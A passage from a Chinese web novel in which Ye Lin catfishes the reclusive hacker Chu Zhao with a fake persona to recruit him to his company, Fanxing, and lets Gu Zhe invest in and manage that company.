顾母还在滔滔不绝,将自己这段时间吃到的所有八卦都分享给儿子。 顾柘的余光一直注意着衣柜,猜测叶临在里面的动向: 估计听到顾嘉致的时候会凑近听吧,听不到顾嘉致就会玩手机。 这个家伙就知道在乎顾嘉致,所以每次都会来整蛊他。 顾母注意到儿子走神,看向衣柜,疑惑道:“你怎么老是看衣柜,里面藏着什么人吗?别搞金屋藏娇那套!” 叶临和顾柘的心跳同时加快,前者在祈祷,后者收回目光。 “没有,如果我有喜欢人,也不会让他闷在衣柜里!我只是在想,沈阿姨应该不在乎沈邵。” “那倒不是,她这个儿子还是很优秀的。” 叶临松了一口气,暗骂顾柘有病,为什么要看衣柜? 顾柘专心回复母亲的话,但还是会偶尔想起叶临。他觉得刚刚的叶临被吓到了,表情应该很精彩。 顾母察觉到儿子走神,忍不住叹气:“小柘,你怎么回事,总是走神。就像那个,像早恋一样!” 顾柘无奈道:“妈,我已经19岁了,不算早恋吧。” 顾母闻到恋爱的味道,好奇地凑过去追问:“真有喜欢的人了,是哪家的女孩子,跟妈妈说说,我好去找人家商量。” 顾柘暗骂自己怎么能忽然失智,摇头否认。 顾母不相信,拿出镜子照着儿子的脸,指着眼睛质问:“还说没有喜欢的人,你自己看看镜子里的眼神,粘死了,像奶油一样。而且你还总走神,果然是在想她吧。” 叶临也很好奇,顾柘这个混蛋居然会有喜欢的女生,凑过去听。 顾柘对上镜子中的自己,才发现表情不是常有的冷静,反而多出几丝愚蠢感,羞愧一般地挡住脸:“妈,你快拿开镜子,刺到我了。” 顾母放下镜子,绕着他转了一圈,信誓旦旦:“你是我生下来的,我还不知道你吗?高中的时候被人追到家里告白,都能面无表情地拒绝。 现在心里慌张,说话都需要遮遮掩掩,果然是有喜欢的女孩了。” 顾柘叹气,只好顺着母亲撒谎:“算有,你别问了。” 顾母坐下来,兴致勃勃地伸出手指,开始猜测:“陆家,沈家,林家” 顾柘一概不理。 叶临想到顾柘跟自己做了那种事情,居然还要去喜欢女生,真是超级大渣男。 也不知道是哪个可怜的女生,会被顾柘这种人渣喜欢,唉! 顾母细数圈内几个知名的企业家,最后提到:“难道是叶家的?” 顾柘呼吸一滞,眼神慌乱,下意识地扫过衣柜,又故作平静地否认:“你就别瞎猜了,都不是!” 大儿子一向冷静自持,从来都是稳重成熟的代名词。小儿子就是天真愚蠢,什么表情都写在脸上,非常好猜。 顾母发现大儿子恋爱,就好比发现了新款的包包,恨不得里里外外都欣赏一遍。 顾柘越不肯说,她就越是要探个究竟。 “那就是你们学校的女同学吧,她性格怎么样,好相处吗?” “还好,就是喜欢撒谎,满口胡话。脾气很糟糕,像个炮仗,动不动就炸。偶尔还喜欢*犯贱,蠢蠢的,厚脸皮。” “啊?” “性格活泼开朗,好像天塌下来都不会害怕。” “总算有个优点,那她长得怎么样?” “就,就挺好看的,很多人喜欢。” “啧啧啧,我们小柘是暗恋,还没表白在一起吧,竞争对手太多了?” “也不是,没准备谈。” “还不准备谈啊,我看你都为她魂不守舍了,再不出击,肯定会被别人抢走。” “反正很复杂,妈,能别聊他了吗?” 顾母偏不听,继续逼迫他叙述自己的暗恋经历,还跟他转述自己的恋爱经验,告诉他要怎么追女孩子。 手机电量逐渐耗尽,自动关机。 叶临出不去,听着顾母的话就像是听念经,很快就睡过去。 还好有钱人的衣柜够大,完全可以当床,而且他呼吸很浅,并不会发出声音。 天色昏暗,长廊里的灯都打开,整个疗养院里静悄悄的,能够听见虫鸣,以及树叶飘落的轻响。 顾母缠着儿子聊了很久,接到顾父的电话,才匆匆忙忙地坐车离开,还叮嘱儿子要勇敢追爱,千万别错过。 顾柘无奈地送母亲离开,才返回房间。 他唤了一声“叶临”,没有得到反应。 于是按动轮椅,来到衣柜前,打开门。 结果就看到叶临蜷缩着身体,睡在用衣服堆成的小窝里。 这些衣服中,有些是外套,有些是里衣,甚至是更为贴身的,将叶临完全包裹住。 可以想象到叶临的身上,应该沾染了他的气味,就像是打下标记,独属于他这个人。 光是想到这些,顾柘的耳尖就红起来,气血流通变快,整个人都变得不正常。 仔细观察的话,还能发现叶临抱着他的一件外套睡着,半张脸都被挡住,只留出眼睛,睫毛卷长,像是羽毛。头发也乱了,像是猫毛炸起来。 这个蠢货,居然有点可爱。 顾柘莫名想到之前他假装顾嘉致,在公寓里跟叶临亲密。 当时叶临枕着他的腿,手里拿着游戏机,不断地晃动,抱怨他打游戏变厉害了。 后面打不过,还要还伸出手去挠他,又菜又爱玩。 “我希望我们以后都能飞黄腾达,一直在一起。” 叶临对顾嘉致的表白,再次在脑海里回响,像是魔咒吸引他不断地靠近。 轻轻向上扬的语调,茶水晶一样的眼睛。柔软的睡衣,淡淡水果香气,比他小一些的手指。 顾嘉致没有见到那样的叶临,真是可惜啊,不然肯定会就此沦陷,无法自拔。 与此同时,顾柘又忍不住卑劣地想:还好是他见到了这样的叶临。 应该说,在这个世界上,只有他一个人见过纯净美好,吐露真心的叶临。 被叶临欺骗的梁文乐,被叶临利用的沈邵,被叶临喜欢的顾嘉致,都没有听过叶临发自真心的告白,只有他。 就像现在一样,叶临躺在他的衣服堆睡觉,慵懒如猫,哪里都是他的气味。 “嗯”叶临的眼皮微皱,好像是做了噩梦,下意识地抱紧怀里的衣服,整张脸都埋进去,只露出洁白小巧的耳垂,极其依恋。 顾柘看得心痒,很想站起来抱他,可是此刻双腿站不起来,只能眼睁睁地看着叶临躺在那里。 无助,空虚,急切,愤怒。 顾柘从未如此痛恨自己的双腿。 过了很久,叶临感觉到冷风吹起来,瑟缩着身体,慢慢地睁开眼,问了一声:“走,走了吗?” 顾柘下意识回答:“我妈走了。” 叶临坐起来揉眼睛,伸了个懒腰,又打哈欠。 顾柘注意到他垫着的衣服全部都有了褶皱,凌乱不堪,不由得看向别处。 叶临走出来看完门外:“我去,现在几点了?” “晚上十点。” “啊,都这个点了,早知道骑车过来了。” 顾柘很想建议他留下来过夜,但没有开口。 结果下一刻,叶临就在他的床躺下来,拿充电器给手机充电玩。 “那我今天在这里歇一晚上好了,你去别处睡,反正都是你欠我的。” “我什么时候欠过你?” “你假装顾嘉致骗我,害他失忆,当然要还债。这其中就包括帮我,帮梵星。 快点想楚诏的喜好,实话实说吧,我要把他招进梵星,你得给我想办法!” “什么鬼逻辑!” 第49章 第49章楚诏,网恋呗! 顾柘一直不理解叶临的脑回路,怎么每次来找他帮忙,都是一副理所当然的语气。 就好像把他当成了百依百顺的男朋友,什么都需要帮他做到。 想到这里,顾柘扭头去看窗外,眼中闪过一丝慌乱。 “哎,你怎么不说话!”叶临放好手机就下床,按住顾柘对轮椅扶手摇晃;“如果你不帮我的话,我可以缠你一晚上。还有,我最会欺负像你这样嘴硬的残疾人了。” 顾柘感觉到他的气息靠近,就像是夜来香,心神荡漾,却要冷冷道:“楚诏做人有原则,最讨厌你这种无赖,怎么可能进你的公司。” 叶临不服气地反驳:“楚诏也说我是无赖,不过他说就算了。你个暗害亲弟弟的混蛋,比我还卑鄙无耻吧,怎么好意思说我!” “我是让顾嘉致迷途知返,整天跟你混在一起,像什么话!” “哦,那你现在也整天跟我混在一起,晚上我还要睡在你旁边,那你就是畜牲不如喽!” 顾柘沉默了,他想到叶临躺在旁边,呼吸就会沉重,连忙去看窗外的竹子,提醒自己要静心。 可他的第一次毕竟是跟叶临,早就被篆刻了不可磨灭的痕迹,哪里会轻易忘掉。 “算了,骗你的!”叶临凑到他的耳边,呼出热气,再低声说:“我才不想跟你这个道德败坏的人渣躺在一张床上。” 顾柘的耳尖瞬间红起来,猛然扭头去看他,嘴唇微张,想说些什么,但发现自己想说出的话非常荒唐,连忙住嘴。 叶临求才心切,没注意到他的异常,继续逼迫:“快说,快说,不然我就把你关房间外面吹冷风。” 顾柘拿他没办法,只好告诉他关于楚诏的喜恶,以及该如何聘请楚诏。 楚诏喜欢全天24小时宅在家里,六亲缘薄,从来不跟亲戚和现实朋友们联系,只是偶尔在特定的黑客论坛上与人交流。 如果想要取得他的信任,就得去论坛上找他。同时要表现得正直,大方,得体,绝对不能无赖,卑鄙。 叶临听完了描述,只有一个疑惑:“楚诏到底是直男还是gay啊?” 顾柘心中警铃大作,叶临为了达到目的可以不择手段,搞不好想用对付梁文乐那招对付楚诏楚诏。 这可不行! “正确来说应该是无性恋者,他这个人极度痴迷网络,对性和感情没兴趣,甚至非常厌恶别人的触碰。” “怪不得我碰他手臂就生气,真是的,还以为是gay呢。” “以后还是不要跟他有肢体接触了,否则他会恨死你,更别说聘请他。” “好吧,那我现在就注册论坛。” 叶临不懂网上这些弯弯绕绕,他直接找刘闻帮自己搞了一个资深黑客账号,方便在论坛上发消息。 这个论坛的发言次数有限制,级别越高发言的次数越多。 刘闻给他找的账号,一天可以发上百次,就比楚诏的少一点。 论坛的页面是纯黑色,文字是耀眼的银白色。没有图片,全部都是字母和数字,夹杂一些文字,看起来令人犯困。 叶临发表了一些对互联网的未来发展看法,就是把原著的内容简单转述一遍:云计算与大数据,人工智能与机器学习,电子商务等等领域。 他的语言简洁,没有深入去扩展这些内容,但是这些概念对于现在的人来说,就是超前新颖。 很快他的帖子就火了,底下回了一百条,出现了很多高级别的账号。 其实叶临也看不懂他们的回复,只是在等楚诏出现。 等了一个多小时还是没有看见,太困就睡着了。 顾柘在旁边盯着他很久,还是去了别的房间休息。 论坛上里分为两派,一派认为叶临说的话假大空,都没有实际事实支撑,逻辑不完善,纯粹就是吹牛。 而另外一派认为叶临的想法超前,可以不计较那么多细节,未来有可能实现。 双方争吵不休,不仅在他的帖子里下面论道,更是另外开帖争论。 一时间,论坛的氛围火热,到处都弥漫着硝烟的气息,两派势必要争个高下。 叶临醒来后,发现自己的私信爆满,吓得挨个点进去,发现没有一个人的消息都看懂,都不回。 他的帖子已经叠了快上千条回复,翻老半天才在里面找到楚诏的账号。 楚诏评价他的想法很好,但是没有考虑实际,缺乏事实支撑,像是那种喜欢读书,但是没有实际技术的书呆子。 叶临一直觉得书呆子这个词是来夸人的,他觉得楚诏是在夸他聪明,立即去私信。 【大神,你也觉得我的想法有希望实现吧?】 【想法是好的,就是你陈述的毫无逻辑。】 楚诏发现这个叫做“哥最帅”的账号给自己发消息,愣了一会儿才回复。 他刚开始看到热帖的时候,就觉得这个账号很奇怪:是高级别的账号,取个自信的昵称,言语之间还没有多少逻辑。 就像是一个偷穿大人衣服的小孩子,外表光鲜亮丽,内心幼稚没头脑。 【怎么没逻辑啊,我觉得我说的很对啊。】 【我和你说,以后人们的衣食住行都可以靠网络。网购软件会根据大数据给人们推荐可能感兴趣的东西,外卖啊,打车这些。】 【再远一点发展,就会有人工智能,会帮人画画,写文章,聊天,直播,好多呢。】 叶临不理解这些东西背后的具体逻辑,但他可以把自己见到的现实状况描述给对方。 楚诏听完他的描述,割裂感很强,就像一个知道了先进理念,但了解浅显的人跑到论坛里卖弄。 不过通过他的描述,确实能想通很多事情,从而愿意跟对方聊下去。 与此同时,他感觉对方说话天马行空,有种会在现实里会蹦蹦跳跳,突然从背后吓唬人的感觉。 过分活泼,还有点可爱 论坛里有这种男生吗? 楚诏发消息,说出自己的疑惑。 【你是女生?】 【不是,我是男孩子。】 楚诏听到他的性别,脑海里已经描绘出一个身材瘦小,白白净净的男生,正在冲着他笑,还调皮地眨眼睛,骂他好没情商。 想到这里,他的手脱离键盘,往后躺去,看着周围闪烁着七彩光的各种机器和设备,陷入沉思。 叶临聊到这里,肚子饿得不行,下床去找吃的。 疗养院有宽敞的餐厅,里面都是黄花梨木的桌椅,可以透过雕花窗看到外面的血红枫树。 顾柘坐在窗边,吃早餐,看着枫树出神。 叶临跑进去,在他对面坐下来:“我饿了,要吃饭!” 顾柘叹气一声,无奈地叫人帮他端上早餐。 早餐都是清淡的食物,采用的食材非常新鲜,就是味道寡淡了些。 叶临吃了几口就开始想念沈邵的厨艺,边玩手机边喝。 顾柘发现他嘴唇边都粘上了粥,出声提醒:“你嘴边脏了,能不能有点吃相?” 叶临利落地舔掉,指着他的眉挑衅:“顾柘,没有你,我也能把楚诏签下来!等着吧,不出三个月,他就乖乖地来梵星找我。” 顾柘没听清他的话,只是注意到他舔走粥的动作。 艳红色的舌,白色的粥,被晨光映得发亮的眼睛。 虽然不是很好吃,但本着不浪费粮食的心态,还是吃干净。 叶临放完狠话,就离开疗养院,订购沙发送去楚诏家里。 结果楚诏不开门,沙发只能堵在楼梯间里,最后被居民劝走。 叶临算是明白了,楚诏铁了心地想跟自己断联系,不愿意再见他一面。 那没事,线下行不通,那他就通过线上努力。 从此以后,他每天都会进入论坛里跟楚诏私信,偶尔发表自己对未来的看法,大部分时间都是在跟楚诏嘘寒问暖,同时还要装可爱。 早上会发早安,分享自己吃了什么。中午又会请教楚诏关于电脑的技术问题。晚上还要聊点在公司上班的闲事。 发现楚诏的作息不规律,总是昼夜颠倒,还劝过楚诏要正常作息,才能保持身体健康。 就这样过了一个月,总算要到了楚诏的联系方式。 他问过公司恋爱经验丰富的员工,都说古板的技术宅男喜欢清纯可爱那一档。 既然传统的方式没办法聘请楚诏,那他就网恋楚诏,把他骗到梵星签合同,反正没亏。 为了给楚诏树立良好的印象,他精心爆包装空间。 对外的人设是在公司实习的程序员,人笨笨傻傻的,喜欢可爱玩偶,还有可爱的网名甜甜圈。 楚诏看过甜甜圈的空间,通过空间照片发现他是梵星的员工,看起来级别低,也不聪明。 那为什么会有论坛里的高级别账号呢,真奇怪? 出于疑惑,还是发消息询问。 【论坛里的账号不是你的吧?】 【对啊,是刘闻组长的,他经常夸我可爱。我说要学习技术,他就把账号给我啦!】 【其实之前跟你说的未来的设想,都是刘闻组长跟我说的,我也不是很懂。】 这样一切都能解释通了,技术小白用了高手的账号,又发表蹩脚的看法。 但是刘闻夸他可爱,还把高级别账号借给他用,跟他说互联网未来的发展 这分明是觊觎单纯的小员工! 难以置信,风评很好的刘闻居然会对小员工做这种事情 楚诏死水一样的心境终于掀起了涟漪,连忙打字追问。 【那个刘闻组长没有对你做奇怪的事情吧?】 【没有啊,他对我可好了,每天都请我吃东西,还邀请我下班去他家。】 【你没去吧!】 【没去啊,我下班都要打游戏。】 【那就好。】 叶临看到消息,就知道楚诏上钩了。 他就是要在楚诏面前树立一个单纯好骗,随时都有可能被上司潜。规则的可怜小白兔形象。 以此引起楚诏的关注,激起楚诏的保护欲。 男人嘛,不管喜欢女生,还是喜欢男生,都逃不过单纯无辜这招。 他对付梁文乐的时候用这招,对付楚诏的时候照样能用。 【大神,你知道奇缘这个游戏嘛,好难啊!】 【知道。】 【你的电脑技术这么厉害,打游戏应该也很厉害吧。】 【没玩过。】 【为什么不玩啊,这个游戏可好玩了,我每天都玩到凌晨三点。】 【但是我技术太菜,只能找高手带我,但他们都要我发照片,才愿意带。】 【发什么照片?】 楚诏有了不好的预感,紧接着就看到对方发来一张照片。 没有脸,只看到他坐在柔软的白毛毯里,双腿白皙修长,毫无赘肉,粉红的圆圆脚趾对着镜头。 这,这种照片果然,被骗了! 楚诏的呼吸急促,连忙关闭图片,试图平复躁动的心脏。 【你以后不要给别人发这种照片,他们都是图谋不轨。】 【啊,可是他们带我刷副本哎,没有他们,我都打不过怪。】 【要是大神你能玩这个游戏就好了,我就有人带了。】 楚诏感觉这个叫甜圈圈的没多少水平,刘闻看中他的脸才招进梵星。 难怪梵星的防御系统稀烂,纸糊的一样,研发部里面应该全是甜甜圈这种小笨蛋。 这种笨蛋,被骗色也是活该吧? 楚诏起身离开座位,接了冰水喝几口,尝试冷静。 然而几分钟后,还是坐回电脑前面打字。 【我带你吧,以后别在网上找这些不三不四的人。】 【好哎,好哎!大神你最好了!】 楚诏火速从同行那里买了个账号,登录进游戏里,带这个笨蛋下副本。 游戏背景是仙侠世界,每个修行者都需要在里面打怪,收集材料进行升级。 甜甜圈在游戏里是能奶人的辅助,角色形象是个可爱小正太,有大大的眼睛,抱着酒葫芦,走路几步都会摔倒。 辅助都没攻击力,怪不得只能靠别人下副本。 楚诏打字询问他,今天需要打什么怪物。 叶临建议让他开麦,这样才好交流。 楚诏拒绝开麦,只是单纯地打字。 那没办法,叶临都斥巨资买了最好的变声器,当然要使用。 他果断开麦,还故意放软语气。 “大神,我没办法边打字边奶人,就只能开麦了。” “大神大神,你能听见吗?” 楚诏的电脑配置采用市面上最好的,包括音响设备。 声音响起的瞬间,他所有的骨头都酥掉了。 怎么有男生的声音是这样的? 软而不甜腻,清亮透彻,像是山涧。 少年气息十足,洋溢着青春肆意,像是夏夜里一阵清爽的风。 丝毫不做作,浑然天成。 怪不得刘闻老是夸他可爱,在办公室里天天听到这种声音,心情都会变好吧。 楚诏愣了一会儿,才打字回复。 他的手速很快,反应灵敏,熟悉规则后,遇到强大的怪物,也能能够借助技巧杀掉。 叶临只需要跟在他背后,偶尔奶一口,再夸“大神厉害”,就能获得好材料。 他们从下午玩到晚上,要不是叶临的人设是第二天要上班的程序员,就得通宵。 叶临离开电脑,看着窗外的繁华夜景,忽然有种掌控世界的错觉,成就感满满。 他相信,再过一个月后就能跟楚诏谈上恋爱,到时候就想办法骗楚诏来梵星。 想楚诏也是可笑,最开始骂他是无赖,到了网上还不是被他迷倒。 小小楚诏,等着恋爱后当狗吧! 叶临构预想梵星拥有楚诏后,研发部快速发展,盈利翻倍的愿景,安心地睡下。 然而,事情不如他所想的那样顺利。 一个月后楚诏只是经常跟他打游戏,聊日常,根本没有跟他暧昧的迹象。 这就很愁了,又不能目的性太强,必须要楚诏自然而然地喜欢他,才好实施计划。 只能继续等。 天气逐渐转寒,路边的树叶掉光了。 风吹在脸上像是下刀子,行人已经穿羽绒服,再过不久就要下雪。 叶临买了很多礼物去梵星奖赏员工,顺便视察梵星的工作。 刘闻跟他汇报研发部的情况,大部分都在正常运行,只是寒假浏览量增加,员工们比较忙。 叶临加工资安抚这些忙碌的员工,又想到自己利用刘闻的名头欺骗楚诏,心里有点愧疚,主动把他请进办公室,夸赞他的能力,还打算送一辆车。 刘闻一直感觉自己能力有限,不能为公司分担忧,没想到得老板器重,连忙拒绝:“算了,等以后公司起来,再买车,我现在都没时间开。” 叶临拍拍他的肩膀,语重心长道:“你已经很厉害了,不要太有心理负担。放心,最迟明年的春天,我肯定会给研发部招个顶级人才。” 刘闻疑惑:“什么人?” 叶临让他看论坛信息,指着楚诏的账号,信誓旦旦地说自己已经拿捏了楚诏,马上就能招进来。 刘闻看到楚诏的账号,眼睛都瞪大了,钦佩地看着老总:“楚诏可是界内传奇,要是能招进来,我们研发部就有救了。” 叶临很享受这种被人崇拜的感觉,他以前是打工的,痛恨老板。 现在自己做老板了,就觉得身为老板,应该想办法帮员工分担,而不是使劲压榨。 这时,助理敲门要求进来汇报工作,刘闻顺势离开办公室,让出空间给他们商谈。 助理是跟在沈邵底下工作的,平常不苟言笑,汇报工作的时候也不会用修饰性的语言,全程客观描述。 他告诉叶临,公司里需要增加人手,这几个月的财务混乱,市场营销部进来几个硬茬,又有几个人才需要辞职 总之,失去了雷厉风行的沈总,到年底,公司一片混乱。 有的人要离职,有的人要加工资,有的人在摸鱼偷懒,有的人在浪费资源,以及还有几个客户需要商谈新的合同条件。 叶临听得头大,感觉自己身上压着一座垃圾山,沉重难闻,无法行动,还感觉恶心。 助理也不安慰他,冷静直接地陈述事实:“积压的事情太多了,你看是新招一个?” 叶临抬手阻止他继续说下去:“我再想想。” 他可不懂公司这些弯弯绕绕,听起来就复杂,必须找专人来处理。 可是沈邵还在养病,不应该去叨扰,去哪里找靠谱的新人? 沈邵这个位置权。力很大,又不能随随便便地招人。 叶临想到沈邵之前对他说,年底的时候可以去找顾柘。 入冬后,医院的窗户大都是紧闭着,墙角的花全部凋零,只有绿叶靠着空调勉强存活。 屋内很温暖,沈邵躺在床上熟午觉,床头柜旁边还有书本。 叶临站了一会儿,还是不忍心打扰他的睡眠,转而去疗养院。 自从跟楚诏网聊后,他已经两个多月没有踏入这里,刚进去都感觉陌生。 走廊底下没有坐轮椅的顾柘,穿过走廊,才在空地上看见站立着在做康复运动的顾柘。 这家伙脸上的伤痕已经全部恢复,手脚可以正常活动,整个人容光焕发,不像之前病恹恹的。 叶临才意识到时间已经过去很久了,曾经被绷带包裹住全身的顾柘居然康复了。 那顾嘉致怎么样了,都没给他发过消息。 叶临走上前想去拍顾柘,结果被提前预判,反抓住手腕。 顾柘看到他比以前瘦了一些,愣了片刻,就被叶临抽出手。 “你来做什么?” “就问问你,顾嘉致的身体恢复得怎么样了,他都不联系我。” “他伤到脑子,比我恢复慢,估计春夏才会康复,但这也说不准。”顾柘发现他不断呼出热气,脸颊都被冻红,只好朝着房子里走。 “笨死了,来之前不会多穿衣服吗,冻死你算了。” “我才不冷!”叶临骂骂咧咧地跟上去,进了温暖舒适的会客厅里,找到沙发坐下来。 “到底什么事?”顾柘嫌弃地瞥他,又把热茶放在他面前。 求顾柘管理梵星,这种话说不出口。 可是眼下,去找谁呢? 让顾柘给他推荐别人吗? 叶临烦躁的握紧茶杯,喝了一口觉得苦,嫌弃地呸出来。 顾柘见状,眼角眉梢都有了笑意:“是为了梵星吧,你们公司也就沈邵一个正常人,现在乱套了。” 叶临把茶杯重重地砸下,拔高音量弥补自己内心的底气不足:“你少看不起人了,我就很厉害了,可以管理公司。” 顾柘轻声笑道:“你会看账本吗,会分配好工作吗,会跟客户打交道吗?” 叶临语塞,他确实不会这些,所以最初才找沈邵来管理公司。 这个笨蛋,应该忙得焦头烂额才瘦了。 好笑又可怜。 顾柘喝完茶,拿出一份合同递到他面前:“我要入资梵星,你签了合同,可以顺带帮你管理梵星。” 第50章 第50章魅魔的尾巴翘起来了 目前来看,梵星确实需要像顾柘这样的管理型人才。 而且,顾柘是大反派。如果以后他投资别的互联网公司,站在梵星的对立面,肯定难以对付。 现在就让顾柘投资,拉他上一条船,以后也不会打压梵星,还会利用手里的资源帮助梵星发展。 再说了,原著中的顾柘很可怕,能跟他成为朋友或盟友,都不要成为敌人。 叶临思考再三,还是先把合同派给公司的助理看。 助理告诉他,顾柘给出的条件十分优渥,而且要求的分红比市面还低,不像是公平合作,倒像是刻意讨好。 叶临抬眼去看顾柘,刚好对上那双漆黑的瞳孔,宛如幽静的深潭,墨黑的表面有细碎的阳光。 也不知道顾柘想什么,身体比平时更为放松。 助理是沈邵的人,做事注重实事求是,跟顾柘非亲非故,应该不会骗他。 虽然不明白顾柘为什么要给他开出优厚的条件,但助理都认可合同,那就签吧。 顾柘的手指修长有力,轻易按住合同的一角,轻声道:“看不懂的话,我可以帮你翻译翻译。” 叶临拿起笔飞速在签名处写下名字,小声嘟囔着:“谁需要你翻译啊,签就签!对了,你来管理公司,我可不会给你开工资,一毛钱都没有!” 顾柘利落地把合同转过来,瞥见旁边凌乱潦草的签名,只觉得稚气可爱,嘴角微勾,签上自己的名字。 怎么跟楚诏一样,都是看不懂的签名? 叶临在心里默默地吐槽,敲敲合同:“那你收拾收拾,明天就去上班。我可不是什么好老板,会给你休假。” 顾柘把自己的那份合同收好:“今天就可以去,我开车送你吧。” 叶临没料到他要立刻上任,愣了片刻才反应过来,跟着他出去。 到了梵星后,顾柘自然地走进沈邵的办公室,要求各部门跟他汇报工作,同时准备开会整顿某些人。 很多员工都感觉到,叶临招来的这个顾总不是善茬,与沈邵的狠辣比起来有过之而无不及。 公司里很快忙成一团,大家都在整理文件,准备进办公室。 叶临坐在办公室的沙发上玩手机,也不管顾柘如何对付底下的人,专心跟楚诏聊天。 他发现,这两天楚诏会主动跟他说话。 就比如今天早上收不到消息,楚诏就会问他在做什么。 【我在上班,还没过实习期,好忐忑啊。】 【不怕,梵星只是小公司,要求不严格。】 【可是我最近搞砸了好多事情,大家都骂我没用。】 楚诏看到甜甜圈发了个小兔子哭哭的表情包,心都快被萌化了,轻轻地打字安慰他。 【那是你同事的问题,他们无能,就知道欺负你。】 【可是我把公司电脑搞坏了,一直蓝屏,好害怕会被骂。】 【这样,你按住我说的做,我远程操控你的电脑,帮你修理。】 叶临跑去找刘闻,要求他找个被病毒攻击的电脑,再让楚诏远程修理。 楚诏不愧是电脑高手,才花两分钟就把病毒消除,还升级电脑的性能。 叶临对着电脑和公司拍照,再发消息对他表示感谢。 【太谢谢你了,那些骂我的同事都住嘴了。】 【小问题,你们公司的废物和小人太多了,千万别被他们影响。】 【对了,你之前不是说刘闻组长想潜。规则我嘛。】 【怎么,他对你做了什么事情!】 【他怀疑不是我修的电脑,还问我是找谁帮忙的。我说是我男朋友远程帮忙修的,他就没有再问了。】 楚诏听到“男朋友”这个词,心跳都随之加快,抬手摸了耳朵都感觉烫。 他第一次有这种感觉,兴奋慌张,都不敢直视电脑屏幕,手也放到键盘外面。 【大神,对不起,我不该撒谎的。但我怕他继续骚扰我,才说你是我男朋友的,你能理解吗。】 【我知道像你这么厉害的人,肯定不会喜欢我这种没用的笨蛋,你别生气,真的抱歉。】 楚诏平缓了心情,才去看电脑屏幕。 光是看文字,面前就浮现出一个长相精致可爱的男生,眼睛红红,低着头在跟他道歉。 声音轻轻软软,就像是云朵落在身上,还散发着淡淡的奶油香味。 如果不搭理,应该会哭吧,眼泪就像珍珠一颗一颗地掉下来,晶莹剔透。 红红的眼睛和鼻头,就像是小兔子。 楚诏越想越觉得自己不正常,打字劝慰甜甜圈。 【我没生气,你也是为了自保。】 【那就好,你刚刚消失好久,我都怕你生气,再也不理我。】 【你打游戏厉害,写代码也厉害,这么完美,跟你谈恋爱肯定很幸福吧。】 【哦,我才想起来,大神你没有对象吧?如果你有点话,我刚刚那个行为就是心机绿茶了。】 【没有。】 【我觉得大神肯定喜欢那种高智冷静的人,才不是我这种没用,窝囊的。】 【没有,你不要这样贬低自己,其实你很可爱,心态积极乐观,是个很好的人。】 【大神你真善良,我从小就被人骂没用,这还是第一次有人夸我呢,谢谢你!】 【那晚上再一起打游戏,我先去上班了!】 【好。】 楚诏太心疼甜甜圈了,这么可爱无辜的小男生,被上司觊觎,还被同事排挤。 好想穿过屏幕,把这个自卑没有安全感的小可怜抱在怀里,让他知道自己有多好,才不是外人嘴里说的“没用”,“窝囊”。 楚诏想到之前甜甜圈说自己的家境困难,于是登录游戏,去打了一个价值五十万的装备,作为礼物赠送给他。 只要把这些装备卖出去,甜甜圈就会有钱,不至于整天为了生计发愁。 当然,如果甜甜圈愿意从那个破公司辞职,来找他同居,那他可以负责甜甜圈一辈子。 额,人家只是提了一嘴“男朋友”,怎么就想到同居和以后的事情了。 楚诏怀疑自己发烧,脑子不清醒,连忙进浴室洗冷水澡。* 与此同时,叶临已经构思好以后的剧情:无非就是,借着开玩笑的理由叫楚诏男朋友。 次数多了就在游戏里绑定道侣关系,然后开始下一步,引诱楚诏来梵星工作。 【饥饿值已高达92%,请宿主及时补充能量。】 听到系统的提示音,叶临才想起来,自己已经三个月没有尝味,怪不得饥饿值会累积这么高。 梁文乐临走时帮他清空了饥饿值,但后面他忙着处理公司的麻烦,以及钓楚诏,哪有时间去补充能量。 现下沈邵的身体不行,顾嘉致远在千里之外,也就顾柘可以用。但是他讨厌顾柘这个人,还是放弃。 要不然,随便点个男模解决一下得了。 叶临做完决定,就在发愁去哪里找到安全可靠的男模。 他可没有gay朋友,不知道靠谱的场所。 思来想去,叶临找到刘闻这个好兄弟,向他打听哪里的男模质量高。 刘闻听到老板要找男模,吓得大惊失色,严肃地说明自己是个正经人,从来不参与吃喝嫖赌这些事情。 叶临教训刘闻太古板,人赚钱就是为了快活,哪能不点漂亮妹妹和英俊帅哥呢。 既然现实生活中无人可问,那就只能在网上寻觅。 经过两个多小时的筛选,终于找到一家口碑超好的会所。 这家会所开在繁华的地段,装潢复古华丽,像是欧式城堡的内景,里面摆放了各种好看的男性雕塑,以及绘画。 门口迎宾的四个男生都是180+,长相端正的模特,毕恭毕敬地欢迎客人进来。 叶临进去后要了一间豪华包厢,让老板把所有年轻好看的男模叫出来,站在面前进行挑选。 站在他面前的男模都是186+的帅哥,年龄在20岁—25岁之间,保证青春有活力。 这些男模的长相各有特色,每个人的脸上都是职业微笑。 老板把一本册子递给叶临,里面印满了男模们的详细信息,包括血型,体重,出生地等等信息。 叶临翻了几页,发现一个出生本地的20岁大二学生,五官周正,浓眉大眼,倒是有三分像顾嘉致。 老板注意到叶临的目光停留在这一页,立即示意那个男模往前站,供客人仔细观赏。 “叶总,这个是新来的,不太会喝酒,也不会说话,但长得好看,您瞧瞧。” 会所里的灯光梦幻多变,能够修饰五官。 叶临抬眼看去,恍惚间好像看到了最初见到顾嘉致的时候。 也是青涩干净,眼神中还透露出些许傲气。 面前的男模不太适应这种场合,表情都是僵硬,完全不如周围人敬业。 但是落在叶临眼里,就是鹤立鸡群的存在,仿佛在牡丹花丛中看到一抹纯白色的茉莉花,清新自然。 老板看出叶临中意这个人,顺势问道:“叶总,他叫小谷,您看,今天晚上要他吗?” 叶临合上册子,看向小谷:“你没化妆吧?” 小谷对上老板的眼神,听话地摇摇头:“没化。” 叶临满意地点头:“就要这种纯天然的素颜帅哥,其余人的脂粉气太重了,都出去吧。” 老板笑起来,领着其他人退下。 最后一抹夕阳的余晖被漆黑夜色吞噬,整个城市如同宇宙里的星群在闪烁。 彩色霓虹灯勾勒出高楼大厦的轮廓,每个亮起的玻璃窗都是忙碌的工作人。 梵星的整顿工作做到晚上七点多才算结束,众人都惧怕这位刚来的顾总,很多麻烦事迎刃而解。 顾柘注意到时间,关闭电脑,询问旁边的助理,叶临的动向。 助理告诉他,叶临已经离开公司,应该是回去了。 顾柘打电话想邀请叶临吃个晚饭,结果拨打了三个都没有接通,消息也不回。 他看着外面浓黑如墨的夜色,总有种不好的预感,立即离开办公室。 刘闻刚好在门口的办公桌跟几位同事交流心得,还夸赞叶临这个老板良心,会站在员工的角度思考问题。 顾柘想起叶临总是跟他称兄道弟,于是走过去问:“叶临去了哪里?” 